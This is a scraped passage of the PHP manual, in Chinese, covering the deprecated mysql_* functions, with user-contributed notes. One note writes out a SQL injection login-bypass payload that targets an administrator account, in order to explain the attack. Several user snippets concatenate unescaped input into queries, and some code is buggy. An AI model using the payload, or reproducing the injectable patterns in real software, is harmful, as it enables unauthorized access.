$string = "asda\0sd\x1aas\\\\\\\\dasd\'asdasd\na\'\'sdasdad";
$array1 = array('\\\\\\\\', '\0', '\n', '\r', "'", '"', '\x1a');
$array2 = array('\\\\\\\\\\\\\\\\', '\\\0', '\\\n', '\\\r', "\\\'", '\\\"', '\\\Z');
echo($string);
echo(PHP_EOL);
for( $i=0; $i<count($array1); $i++ ) {
    if ($i==0)
    $p = '/(?<!\\\\)'.$array1[$i].'(?!\\\\)/';
    else
    $p = '/(?<!\\\\)'.$array1[$i].'/';
    echo($i);
    echo($p);
    echo( $array2[$i]);
    $string = preg_replace($p, $array2[$i], $string);
    echo("\t");
    echo($string);
    echo(PHP_EOL);
}
echo(PHP_EOL);
echo($string);
jonnie 31-Mar-2017 10:53
To Quote Sam at Numb Safari

[ "No discussion of escaping is complete without telling everyone that you should basically never use external input to generate interpreted code. This goes for SQL statements, or anything you would call any sort of "eval" function on.

So, instead of using this terribly broken function, use parametric prepared statements instead.

Honestly, using user provided data to compose SQL statements should be considered professional negligence and you should be held accountable by your employer or client for not using parametric prepared statements." ]

Sam is right........

However I do not think it is sensible to stop all sanitising and simply pass the task on to parametric prepared statements.

A particular developer working in a particular situation will always know more about valid input (specific to that context).

If you ask a user to pass in a value you have already given them and you know that all such values start AB****** and the string should be of length 7 or 11 but never any other length then you have the basis of a good pre-sanitiser - different allowable lengths of a string might indicate legacy data.

I would never want to simply pass the rubbish that a malicious user may have passed in through a form to the parametric prepared statements, I would always want to do my own sanity checks first and in some cases these may err on the side of caution and simply choose to abort the Database op completely.

That way my DB does not get clogged up with unsafe statements made safe - it simply does not get clogged up which is better.

Security in layers - sanitisation and validation should still be considered in every situation BEFORE using prepared statements.

In addition as far as I can read into the official doc
==============================================

"Escaping and SQL injection

Bound variables are sent to the server separately from the query and thus cannot interfere with it. The server uses these values directly at the point of execution, after the statement template is parsed. Bound parameters do not need to be escaped as they are never substituted into the query string directly"

That suggests to me that danger is avoided in the internals by alternative handling not by nullification.

This means that a large project with incomplete conversion to prepared statements, legacy code in different parts of an organisation or servers talking to one another could all pass on the bad news from an immune location or situation to one that is not immune.

As long as the sanitisation is competently performed without incurring additional risks then personally I would stick with certain layers of sanitisation and then call the prepared statements.
sam at numbsafari dot com 19-Oct-2012 05:33
No discussion of escaping is complete without telling everyone that you should basically never use external input to generate interpreted code. This goes for SQL statements, or anything you would call any sort of "eval" function on.

So, instead of using this terribly broken function, use parametric prepared statements instead.

Honestly, using user provided data to compose SQL statements should be considered professional negligence and you should be held accountable by your employer or client for not using parametric prepared statements.

What does that mean?

It means instead of building a SQL statement like this:

"INSERT INTO X (A) VALUES(".$_POST["a"].")"

You should use mysqli's prepare() function (http://php.net/manual/en/mysqli.prepare.php) to execute a statement that looks like this:

"INSERT INTO X (A) VALUES(?)"

NB: This doesn't mean you should never generate dynamic SQL statements. What it means is that you should never use user-provided data to generate those statements. Any user-provided data should be passed through as parameters to the statement after it has been prepared.

So, for example, if you are building up a little framework and want to do an insert to a table based on the request URI, it's in your best interest to not take the $_SERVER['REQUEST_URI'] value (or any part of it) and directly concatenate that with your query. Instead,  you should parse out the portion of the $_SERVER['REQUEST_URI'] value that you want, and map that through some kind of function or associative array to a non-user provided value. If the mapping produces no value, you know that something is wrong with the user provided data.

Failing to follow this has been the cause of a number of SQL-injection problems in the Ruby On Rails framework, even though it uses parametric prepared statements. This is how GitHub was hacked at one point. So, no language is immune to this problem. That's why this is a general best practice and not something specific to PHP and why you should REALLY adopt it.

Also, you should still do some kind of validation of the data provided by users, even when using parametric prepared statements. This is because that user-provided data will often become part of some generated HTML, and you want to ensure that the user provided data isn't going to cause security problems in the browser.
Walter Tross 30-Mar-2012 02:20
For further information:
http://dev.mysql.com/doc/refman/5.5/en/mysql-real-escape-string.html
(replace your MySQL version in the URL)
feedr 05-Dec-2010 08:38
Just a little function which mimics the original mysql_real_escape_string but which doesn't need an active mysql connection. Could be implemented as a static function in a database class. Hope it helps someone.

<?php
function mysql_escape_mimic($inp) {
    if(is_array($inp))
        return array_map(__METHOD__, $inp);

    if(!empty($inp) && is_string($inp)) {
        return str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $inp);
    }

    return $inp;
}
?>
presto dot dk at gmail dot com 28-Jan-2010 07:05
If you want to make sure that the ID you're using to do a query is a number, use sprint() of (int) or intval(), but don't use mysql_real_escape_string.

There is no difference between ISO-8859-1's number 10 and UTF-8's number 10.
strata_ranger at hotmail dot com 08-Dec-2009 11:17
There's an interesting quirk in the example #2 about SQL injection:  AND takes priority over OR, so the injected query actually executes as WHERE (user='aidan' AND password='') OR ''='', so instead of returning a database record corresponding to an arbitrary username (in this case 'aidan'), it would actually return ALL database records.  In no particular order.  So an attacker might be able to log in as any account, but not necessarily with any control over which account it is.

Of course a potential attacker could simply modify their parameters to target specific users of interest:

<?php

// E.g. attacker's values
$_POST['username'] = '';
$_POST['password'] = "' OR user = 'administrator' AND '' = '";

// Malformed query
$query = "SELECT * FROM users WHERE user='$_POST[username]' AND password='$_POST[password]'";

echo $query;

// The query sent to MySQL would read:
// SELECT * FROM users WHERE user='' AND password='' OR user='administrator' AND ''='';
// which would allow anyone to gain access to the account named 'administrator'

?>
plgs at ozemail dot com dot au 27-Jul-2009 01:05
Don't forget that if you're using Mysqli (ie, the "improved" Mysql extension) then you need to use the corresponding mysqli function mysqli_real_escape_string().  The parameter order is also different.
nicolas 30-May-2006 01:38
Note that mysql_real_escape_string doesn't prepend backslashes to \x00, \n, \r, and and \x1a as mentionned in the documentation, but actually replaces the character with a MySQL acceptable representation for queries (e.g. \n is replaced with the '\n' litteral). (\, ', and " are escaped as documented) This doesn't change how you should use this function, but I think it's good to know.


取得结果数据

  • ? mysql_real_escape_string
  • mysql_select_db ?
  • PHP Manual
  • MySQL 函数
  • 取得结果数据

mysql_result

(PHP 4, PHP 5)

mysql_result — 取得结果数据

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_data_seek() 与
mysqli_field_seek() 和
mysqli_fetch_field() 结合使用
  • PDOStatement::fetchColumn()

说明

mysql_result(resource $result, int $row, mixed $field = 0): string

Retrieves the contents of one cell from a MySQL result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than mysql_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

row

The row number from the result that's being retrieved. Row numbers start at 0.

field

The name or offset of the field being retrieved.

It can be the field's offset, the field's name, or the field's table dot field name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name. If undefined, the first field is retrieved.

返回值

The contents of one cell from a MySQL result set on success, or false on failure.

示例

Example #1 mysql_result() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysql_select_db('database_name')) {
die('Could not select database: ' . mysql_error());
}
$result = mysql_query('SELECT name FROM work.employee');
if (!$result) {
die('Could not query:' . mysql_error());
}
echo mysql_result($result, 2); // outputs third employee's name

mysql_close($link);
?>

注释

Note:

Calls to mysql_result() should not be mixed with calls to other functions that deal with the result set.

参见

  • mysql_fetch_row() - 从结果集中取得一行作为枚举数组
  • mysql_fetch_array() - 从结果集中取得一行作为关联数组
  • mysql_fetch_assoc() - 从结果集中取得一行作为关联数组
  • mysql_fetch_object() - 从结果集中取得一行作为对象返回

User Contributed Notes

mark at pnod dot co dot uk 04-Jan-2023 04:57
To replace a row count  e.g.

       $querystring = "SELECT COUNT(*) FROM table WHERE column1 = 'EXAMPLE'";
       $total_records = mysql_result(mysql_query($querystring,$connection),0);

use mysqli_fetch_row :

       $querystring = "SELECT COUNT(*) FROM table WHERE column1 = 'EXAMPLE'";
       $rowcount = mysqli_fetch_row(mysqli_query($connection,$querystring));
       $total_records = $rowcount[0];
bob dot schuon at loungelizard dot com 22-Nov-2019 05:32
This function accounts for the ability of the original function to accept "table_name.field_name" entries as well as just the field name:

function mysqli_result($res, $row, $field=0) {
    $result->data_seek($row);
    $data = $result->fetch_array();
    $field_name = $field;
    if ( is_string($field) ) {
      $fields_array = explode(".", $field);
      $array_len = count($fields_array);
      if ($array_len > 1) {
        $field_name = $fields_array[array_len - 1];
      } else {
         $field_name = $fields_array[0];
      }
    }

    return $data[$field_name];
}
v dot teemu at gmail dot com 06-Sep-2016 06:18
I was also looking for mysqli replacement for getting first row, when query is known to return just 1 value. It seems this is simple:

echo(mysql_result($result, 0));

becomes

echo($result->fetch_row()[0]);

alternatively

if ($row = $result->fetch_row()) {
  echo($row[0]);
}
freedman at FreeFormIT dot com 08-Feb-2015 10:08
here's a rough replacement using mysqli:

if (!function_exists('mysql_result')) {
    function mysql_result($result, $number, $field=0) {
        mysqli_data_seek($result, $number);
        $row = mysqli_fetch_array($result);
        return $row[$field];
    }
}
harmmeiier at gmail dot com 11-Jun-2014 03:30
An example of how to easily port this to mysqli would be nice instead of some links to functions that don't really do what this function does.
bruce at kaskubar dot com 29-Apr-2011 06:30
The warning against mixing the use of mysql_result with other result set functions is a bit generic. More specifically, mysql_result alters the result set's internal row pointer (at least in a LAMP environment). This is anything but obvious as the nature of the function is random access for grabbing a quick byte. Using mysql_data_seek after some mysql_result calls, before going into a mysql_fetch_array loop, will set things straight.
adam dot chou at gmail dot com 06-Oct-2008 02:49
mysql_result() will throw E_WARNING if mysql_query returns 0 rows. This is unlike any of the mysql_fetch_* functions so be careful of this if you have E_WARNING turned on in error_reporting(). You might want to check mysql_num_rows() before calling mysql_result()
raz0 at NOSPAM dot worldonline dot dk 23-Aug-2003 10:42
If you want to fetch the result from a mysql query similar to one of these two queries...

$query = mysql_query("SELECT COUNT(*) FROM table");
$query = mysql_query("SELECT LAST_INSERT_ID()");

... you would use mysql_result() like shown below to retrieve the output as an int.

$result = mysql_result($query, 0, 0);


选择 MySQL 数据库

  • ? mysql_result
  • mysql_set_charset ?
  • PHP Manual
  • MySQL 函数
  • 选择 MySQL 数据库

mysql_select_db

(PHP 4, PHP 5)

mysql_select_db — 选择 MySQL 数据库

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_select_db()
  • PDO::__construct() (part of dsn)

说明

mysql_select_db(string $database_name, resource $ link_identifier = ?): bool

成功时返回 true， 或者在失败时返回 false。

mysql_select_db() 设定与指定的连接标识符所关联的服务器上的当前激活数据库。如果没有指定连接标识符，则使用上一个打开的连接。如果没有打开的连接，本函数将无参数调用 mysql_connect() 来尝试打开一个并使用之。

每个其后的 mysql_query() 调用都会作用于活动数据库。

Example #1 mysql_select_db() 例子

<?php

$lnk = mysql_connect('localhost', 'mysql_user', 'mysql_password')
or die ('Not connected : ' . mysql_error());

// make foo the current db
mysql_select_db('foo', $lnk) or die ('Can\'t use foo : ' . mysql_error());

?>

参见 mysql_connect()，mysql_pconnect() 和 mysql_query()。

为向下兼容仍然可以使用 mysql_selectdb()，但反对这样做。

参数

database_name

The name of the database that is to be selected.

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #2 mysql_select_db() example

<?php

$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Not connected : ' . mysql_error());
}

// make foo the current db
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
die ('Can\'t use foo : ' . mysql_error());
}
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_selectdb()

参见

  • mysql_connect() - 打开一个到 MySQL 服务器的连接
  • mysql_pconnect() - 打开一个到 MySQL 服务器的持久连接
  • mysql_query() - 发送一条 MySQL 查询

User Contributed Notes

miloshio at gmail dot com 05-May-2012 05:28
You can select MySQL database without using this function.
Simply right after connecting to MySQL
<?php $connection = mysql_connect("dabatbasehost", "username", "password"); ?>
perform this query:
<?php mysql_query("USE somedatabase", $connection); ?>
duncan at berrimans dot co dot uk 20-Apr-2012 02:11
Note that the manual is slightly misleading it states :-

"Sets the current active database on the server that's associated with the specified link identifier. Every subsequent call to mysql_query() will be made on the active database."

The 2nd statement is not true or at best unclear.

mysql_query() manual entry actually correctly states it will use the last link opened by mysql_connect() by default.

Thus if you have 2 connections you will need to specify the connection when calling mysql_query or issue the connect again to ensure the 1st database becomes the default, simply using mysql_select_db will not make the 1st database the default for subsequent calls to mysql_query.

Its probably only apparent when the two databases are on different servers.
anotheruser at example dot com 12-Aug-2008 04:57
Cross-database join queries, expanding on Dan Ross's post...

Really, this is a mysql specific feature, but worth noting here.  So long as the mysql user has been given the right permissions to all databases and tables where data is pulled from or pushed to, this will work.  Though the mysql_select_db function selects one database, the mysql statement may reference another (the syntax for referencing a field in another db table being 'database.table.field').

<?php

$sql_statement = "SELECT
    PostID,
    AuthorID,
    Users.tblUsers.Username
    FROM tblPosts
    LEFT JOIN Users.tblUsers ON AuthorID = Users.tblUsers.UserID
    GROUP BY PostID,AuthorID,Username
    ";

$dblink = mysql_connect("somehost", "someuser", "password");
mysql_select_db("BlogPosts",$dblink);
$qry = mysql_query($sql_statement,$dblink);

?>
me at khurshid dot com 08-Sep-2007 11:03
Problem with connecting to multiple databases within the same server is that every time you do:
mysql_connect(host, username, passwd);
it will reuse 'Resource id' for every connection, which means you will end with only one connection reference to avoid that do:
mysql_connect(host, username, passwd, true);
keeps all connections separate.
Maarten 19-Aug-2005 05:09
About opening connections if the same parameters to mysql_connect() are used: this can be avoided by using the 'new_link' parameter to that function.

This parameter has been available since PHP 4.2.0 and allows you to open a new link even if the call uses the same parameters.
james at gogo dot co dot nz 16-Jan-2004 04:45
Be carefull if you are using two databases on the same server at the same time.  By default mysql_connect returns the same connection ID for multiple calls with the same server parameters, which means if you do

<?php
  $db1 = mysql_connect(...stuff...);
  $db2 = mysql_connect(...stuff...);
  mysql_select_db('db1', $db1);
  mysql_select_db('db2', $db2);
?>

then $db1 will actually have selected the database 'db2', because the second call to mysql_connect just returned the already opened connection ID !

You have two options here, eiher you have to call mysql_select_db before each query you do, or if you're using php4.2+ there is a parameter to mysql_connect to force the creation of a new link.


设置客户端的字符集

  • ? mysql_select_db
  • mysql_stat ?
  • PHP Manual
  • MySQL 函数
  • 设置客户端的字符集

mysql_set_charset

(PHP 5 >= 5.2.3)

mysql_set_charset — 设置客户端的字符集

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_set_charset()
  • PDO: 添加 charset 到连接字符串，比如 charset=utf8

说明

mysql_set_charset(string $charset, resource $link_identifier = NULL): bool

设置当前连接的默认字符集。

参数

charset

一个有效的字符集名称。

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note:

本函数需要 MySQL 5.0.7 或更高版本。

Note:

这是改变字符集的最佳方式。不推荐您使用 mysql_query() 来设置 (比如 SET NAMES utf8)。 更多信息参见 MySQL character set concepts 一节。

参见

  • Setting character sets in MySQL
  • » List of character sets that MySQL supports
  • mysql_client_encoding() - 返回字符集的名称

User Contributed Notes

emeszenes at gmail dot com 02-Feb-2014 01:44
Massage for nabeelmoidu at gmail dot com:

For me works following code:

$mysqli = mysqli_connect( ... );
mysqli_query( $mysqli, 'SET NAMES "utf8" COLLATE "utf8_general_ci"' );

or just:

mysqli_set_charset( $mysqli, 'utf8' );

Regards, good luck!
Ashus 20-Oct-2008 02:56
I needed to access the database from within one particular webhosting service. Pages are UTF-8 encoded and data received by forms should be inserted into database without changing the encoding. The database is also in UTF-8.

Neither SET character set 'utf8' or SET names 'utf8' worked properly here, so this workaround made sure all variables are set to utf-8.

<?php

// ... (creating a connection to mysql) ...

mysql_query("SET character_set_results = 'utf8', character_set_client = 'utf8', character_set_connection = 'utf8', character_set_database = 'utf8', character_set_server = 'utf8'", $conn);

$re = mysql_query('SHOW VARIABLES LIKE "%character_set%";')or die(mysql_error());
while ($r = mysql_fetch_assoc($re)) {var_dump ($r); echo "<br />";} exit;

?>

All important variables are now utf-8 and we can safely use INSERTs or SELECTs with mysql_escape_string($var) without any encoding functions.
Ronald 06-Oct-2008 01:33
I need to revoke most of my post below. What I found out afterwards is this:

1. if you do not use mysql_set_char mysql will NOT do any translations and thus store a utf8-character-byte as is. If you then retrieve this byte from the db and output it in a utf8 page it will show just fine BUT if other apps query this byte (expecting to find a latin1 byte) they will go wrong.

2. the 'bug' mentioned before only occurs if you use a ucase or lcase function in your statement (like: latin1_col = ucase('utf8 string')

Hope this helps, Ronald
Ronald 25-Sep-2008 12:42
I just hope that the text below will help someone who is struggling with charset encoding, specially when php-charset is different from the mysql-charset. Let me add that I really think that the php man-pages on the mysql-functions are lacking a lot of details on this important issues. Could someone add some useful text here?

Here is my situation. PHP5.2.4, MySql 4.1.15. A php web-application fully utf-8 encoded and a mysql database in latin1 charset.

To make this work I had to:

1. create and store all code files (php, html, inc, js, etc) in the utf-8 charset. Your editor should have an option for this, if not dump it.

2. check that your editor does not add a BOM (http://en.wikipedia.org/wiki/Byte-order_mark) at the beginning of the file. Use a hex-editor to detect them if needed.

3. Set your apache environment to utf-8 by adding 'AddDefaultCharset utf-8' to your .htaccess. If you do not use apache add 'default_charset utf-8' to your php.ini. You have to do either of them (not both), php will use the apache setting where needed.

4. Additionally add this meta-tag to your html-header: '<meta http-equiv="Content-type" content="text/html; CHARSET=gb2312" />'. This will help silly browsers (Oeps, IE again?) that ignore the utf-response-header send to them.

5. Check that the above line are listened to by check the 'page info' of your pages in firefox. It should show 2 (!!) utf-8 entries.

======== all of the above sofar has nothing to do with mysql ;-) ======

6. Do *NOT* (repeat NOT!) set the 'names' (set names *) or _ANY_ 'character set' (set character set *) (opposed to what they tell you on these pages).

7. Check the previous item by listing the results of the mysql query 'SHOW session VARIABLES'. All char_sets here should say 'latin1', except for the system one which is always 'utf8'. All collations should say 'latin1_*'. Furthermore the php function mysql_client_encoding() should also return latin1 (though I don't understand why; what does this value mean, I would think if php (being the client) is utf8 encoded this would be utf8?)

8 Finally test the above by storing this string in your db and output it in your webpage: 'I?t?rnati?nàliz?ti?n and �'.

Now what was interesting during testing and debugging of the above findings was:
1. If I would run 'mysql_set_charset('utf8')' _OR_ 'mysql_query("SET NAMES 'utf8'");' and then run a query in which I would have 'where char_column = 'abc''it would die with 'Illegal mix of collations'

2. If I would run 'mysql_query("SET character_set_client = 'utf8';"); mysql_query("SET character_set_result = 'utf8';")' the query would work BUT the non-ascii-characters would show scrambled in the browser.

3. BUT these 2 points above work just fine on my local dev-machine (php 5.2.3 & mysql 5.0.45)!!!!!!!!

This draws me to these 3 conclusions:

1. The Php-mysql-function library (5.2.+) does a fine job translating utf-8 queries & results to/from latin1! It's better to let php handle this for you then to have mysql do this.

2. Mysql (4.0.+) has 1 or more bugs (well, let's say unfinished features) that involve the charset-translations that are solved in 5.0.+.

3. It is not well enough documented! (Otherwise I would have to write this)

One last remark: clearly characters that exist in utf8 and not in latin1 (and vv.) will get lost during utf8-latin1-utf8 translation.

If any of the above is not correct or not complete feel free to correct this! (Or better yet, add a chapter to the php manual :-)

Cheers, Ronald
nabeelmoidu at gmail dot com 08-Jun-2008 10:11
Here's an example of how to use this feature :

I'm using  PHP 5.2.5 from http://oss.oracle.com/projects/php/

I wanted to store arabic characters as UTF8 in the database and as suggested in many of the google results, I tried using

mysql_query("SET NAMES 'utf8'");

and

mysql_query("SET CHARACTER SET utf8 ");

but it did not work.

Using the following, it worked flawlessly

$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);

Once this is set we need not manually encode the text into utf using utf8_encode() or other functions. The arabic ( or any UTF8 supported ) text can be passed directly to the database and it is automatically converted by PHP.
For eg.
<?php
$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);
$db_selected = mysql_select_db('emp_feedback', $link);
if (!$db_selected) { die ('Database access error : ' . mysql_error());}
$query = "INSERT INTO feedback ( EmpName, Message ) VALUES ('$_empName','$_message')";
mysql_query($query) or die('Error, Feedback insert into database failed');
?>
Note that here $_empName is stored in English while $_message is in Arabic.
Anonymous 10-Feb-2008 09:03
Actually, this function is available in client libraries in MySQL 4.1.13 and newer, too.  So the real version requirement is MySQL >= 5.0.7 OR, if you're using MySQL 4, then >= 4.1.13.
nag QWE svgfr RTY org 17-Dec-2007 07:47
Here's an improved version of Janez R.'s function:
<?php
if (function_exists('mysql_set_charset') === false) {
    /**
     * Sets the client character set.
     *
     * Note: This function requires MySQL 5.0.7 or later.
     *
     * @see http://www.php.net/mysql-set-charset
     * @param string $charset A valid character set name
     * @param resource $link_identifier The MySQL connection
     * @return TRUE on success or FALSE on failure
     */
    function mysql_set_charset($charset, $link_identifier = null)
    {
        if ($link_identifier == null) {
            return mysql_query('SET CHARACTER SET "'.$charset.'"');
        } else {
            return mysql_query('SET CHARACTER SET "'.$charset.'"', $link_identifier);
        }
    }
}
?>
Janez R. 04-Sep-2007 01:23
I assume that this is an equivalent in previous versions of php (add some parameter validation and default values though!):
<?
if (!function_exists('mysql_set_charset')) {
  function mysql_set_charset($charset,$dbh)
  {
    return mysql_query("set names $charset",$dbh);
  }
}
?>


取得当前系统状态

  • ? mysql_set_charset
  • mysql_tablename ?
  • PHP Manual
  • MySQL 函数
  • 取得当前系统状态

mysql_stat

(PHP 4 >= 4.3.0, PHP 5)

mysql_stat — 取得当前系统状态

说明

mysql_stat(resource $link_identifier = ?): string

mysql_stat() 返回当前服务器状态。

Note:

mysql_stat() 目前只返回 uptime，threads，queries，open tables，flush tables 和 queries per second。要得到其它状态变量的完整列表，只能使用 SQL 命令 SHOW STATUS。

Example #1 mysql_stat() 例子

<?php
$link = mysql_connect('localhost', "mysql_user", "mysql_password");
$status = explode(' ', mysql_stat($link));
print_r($status);
?>

以上例子将产生如下输出：

Array
(
    [0] => Uptime: 5380
    [1] => Threads: 2
    [2] => Questions: 1321299
    [3] => Slow queries: 0
    [4] => Opens: 26
    [5] => Flush tables: 1
    [6] => Open tables: 17
    [7] => Queries per second avg: 245.595
)

User Contributed Notes

billbilljr at gmail dot com 06-Jan-2011 11:46
The following script can be used to clearly print out the results of mysql_stat().

<?php
    mysql_connect("localhost", "username", "password");
    $array = explode("  ", mysql_stat());
    foreach ($array as $value){
        echo $value . "<br />";
    }
?>

Outputs something similar to:

Uptime: 698
Threads: 1
Questions: 4
Slow queries: 0
Opens: 19
Flush tables: 1
Open tables: 12
Queries per second avg: 0.5
Enzo_01 at abv dot bg 31-May-2008 12:22
<?php
// function that return stat elements into array
function mysql_stat_array($A=null) {
    $status = explode('  ', mysql_stat());
    foreach($status as $k=>$v) { $v=explode(':',$v,2); $status[$v[0]]=$v[1]; }
    return (isset($status[$A])?$status[$A]:$status);
}
/*
example return:
Array ( [0] => Uptime: 385815 [1] => Threads: 1 [2] => Questions: 3515 [3] => Slow queries: 0 [4] => Opens: 32 [5] => Flush tables: 1 [6] => Open tables: 8 [7] => Queries per second avg: 0.009 [Uptime] => Array ( [0] => Uptime [1] => 385815 ) [Threads] => Array ( [0] => Threads [1] => 1 ) [Questions] => Array ( [0] => Questions [1] => 3515 ) [Slow queries] => Array ( [0] => Slow queries [1] => 0 ) [Opens] => Array ( [0] => Opens [1] => 32 ) [Flush tables] => Array ( [0] => Flush tables [1] => 1 ) [Open tables] => Array ( [0] => Open tables [1] => 8 ) [Queries per second avg] => Array ( [0] => Queries per second avg [1] => 0.009 ) )
*/

?>
08-Feb-2005 06:16
if you need the complete status as outputted by the "show status" command. Try this function.
<?
function mysql_status($db=NULL) {
if(!mysql_ping($db))
$db=mysql_connect("localhost","user","password");
$res=mysql_query("show status",$db);
while (list($key,$value)=mysql_fetch_array($res))
$sql[$key]=$value;
return $sql;
}
?>


取得表名

  • ? mysql_stat
  • mysql_thread_id ?
  • PHP Manual
  • MySQL 函数
  • 取得表名

mysql_tablename

(PHP 4, PHP 5)

mysql_tablename — 取得表名

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • SQL Query: SHOW TABLES

说明

mysql_tablename(resource $result, int $i): string|false

从 result 中取得表名。

此函数已废弃，推荐使用 mysql_query() 函数来执行 SQL SHOW TABLES [FROM db_name] [LIKE 'pattern'] 替代。

参数

result

接受 mysql_list_tables() 返回的结果指针以及一个整数索引作为参数并返回表名。

i

The integer index (row/table number)

返回值

成功时返回表名 或者在失败时返回 false。

Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array().

示例

Example #1 mysql_tablename() example

<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
$result = mysql_list_tables("mydb");
$num_rows = mysql_num_rows($result);
for ($i = 0; $i < $num_rows; $i++) {
echo "Table: ", mysql_tablename($result, $i), "\n";
}

mysql_free_result($result);
?>

注释

Note:

The mysql_num_rows() function may be used to determine the number of tables in the result pointer.

参见

  • mysql_list_tables() - 列出 MySQL 数据库中的表
  • mysql_field_table() - 取得指定字段所在的表名
  • mysql_db_name() - 取得 mysql_list_dbs 返回的结果数据

User Contributed Notes

Haseldow 23-Apr-2004 05:00
Another way to check if a table exists:

if(mysql_num_rows(mysql_query("SHOW TABLES LIKE '".$table."'"))==1) echo "Table exists";
else echo "Table does not exist";
pl at thinkmetrics dot com 17-Dec-2003 08:00
A simple function to check for the existance of a table:

function TableExists($tablename, $db) {

    // Get a list of tables contained within the database.
    $result = mysql_list_tables($db);
    $rcount = mysql_num_rows($result);

    // Check each in list for a match.
    for ($i=0;$i<$rcount;$i++) {
        if (mysql_tablename($result, $i)==$tablename) return true;
    }
    return false;
}


返回当前线程的 ID

  • ? mysql_tablename
  • mysql_unbuffered_query ?
  • PHP Manual
  • MySQL 函数
  • 返回当前线程的 ID

mysql_thread_id

(PHP 4 >= 4.3.0, PHP 5)

mysql_thread_id — 返回当前线程的 ID

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_thread_id()

说明

mysql_thread_id(resource $link_identifier = NULL): int|false

检索当前线程 ID。如果连接丢失并执行 mysql_ping() 重新连接，会改变线程 ID。这意味着仅能在需要的时候再去获取。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

The thread ID on success 或者在失败时返回 false.

示例

Example #1 mysql_thread_id() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$thread_id = mysql_thread_id($link);
if ($thread_id){
printf("current thread id is %d\n", $thread_id);
}
?>

以上示例的输出类似于：

current thread id is 73

参见

  • mysql_ping() - Ping 服务器连接的状态，如果没有连接则重新连接
  • mysql_list_processes() - 列出 MySQL 进程

User Contributed Notes

There are no user contributed notes for this page.


向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行

  • ? mysql_thread_id
  • Mysqlnd ?
  • PHP Manual
  • MySQL 函数
  • 向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行

mysql_unbuffered_query

(PHP 4 >= 4.0.6, PHP 5)

mysql_unbuffered_query — 向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行

说明

mysql_unbuffered_query(string $query, resource $link_identifier = ?): resource

mysql_unbuffered_query() 向 MySQL 发送一条 SQL 查询 query，但不像 mysql_query() 那样自动获取并缓存结果集。一方面，这在处理很大的结果集时会节省可观的内存。另一方面，可以在获取第一行后立即对结果集进行操作，而不用等到整个 SQL 语句都执行完毕。当使用多个数据库连接时，必须指定可选参数 link_identifier。

Note:

mysql_unbuffered_query() 的好处是有代价的：在 mysql_unbuffered_query() 返回的结果集之上不能使用 mysql_num_rows() 和 mysql_data_seek()。此外在向 MySQL 发送一条新的 SQL 查询之前，必须提取掉所有未缓存的 SQL 查询所产生的结果行。

参见 mysql_query()。

User Contributed Notes

crazyone at crazycoders dot net 27-May-2008 09:47
You are NOT required to read all rows from the resultset when using unbuffered query, you may opt out at any time and use mysql_free_result. Imagine looking at 1 million row when the first 50 suffice? Just free the result and you are good to go again.
post at jfl dot dk 29-Nov-2003 05:57
If using optimized MyISAM tables I guess there is a big advantage with this function as it is possible to do selects and inserts on the same time as long as no rows in the table gets updated.
shaner at accretivetg dot com 21-May-2003 04:45
Regarding bailing on a really large result, while doing an unbuffered query, there _is_ a way to do this: kill the thread and exit your processing loop.  This, of course, requires having a separate database link.  Something like below does the trick:

<?php
// a db link for queries
$lh  = mysql_connect( 'server', 'uname', 'pword' );
// and a controller link
$clh = mysql_connect( 'server', 'uname', 'pword', true );

if ( mysql_select_db ( 'big_database', $lh ) )
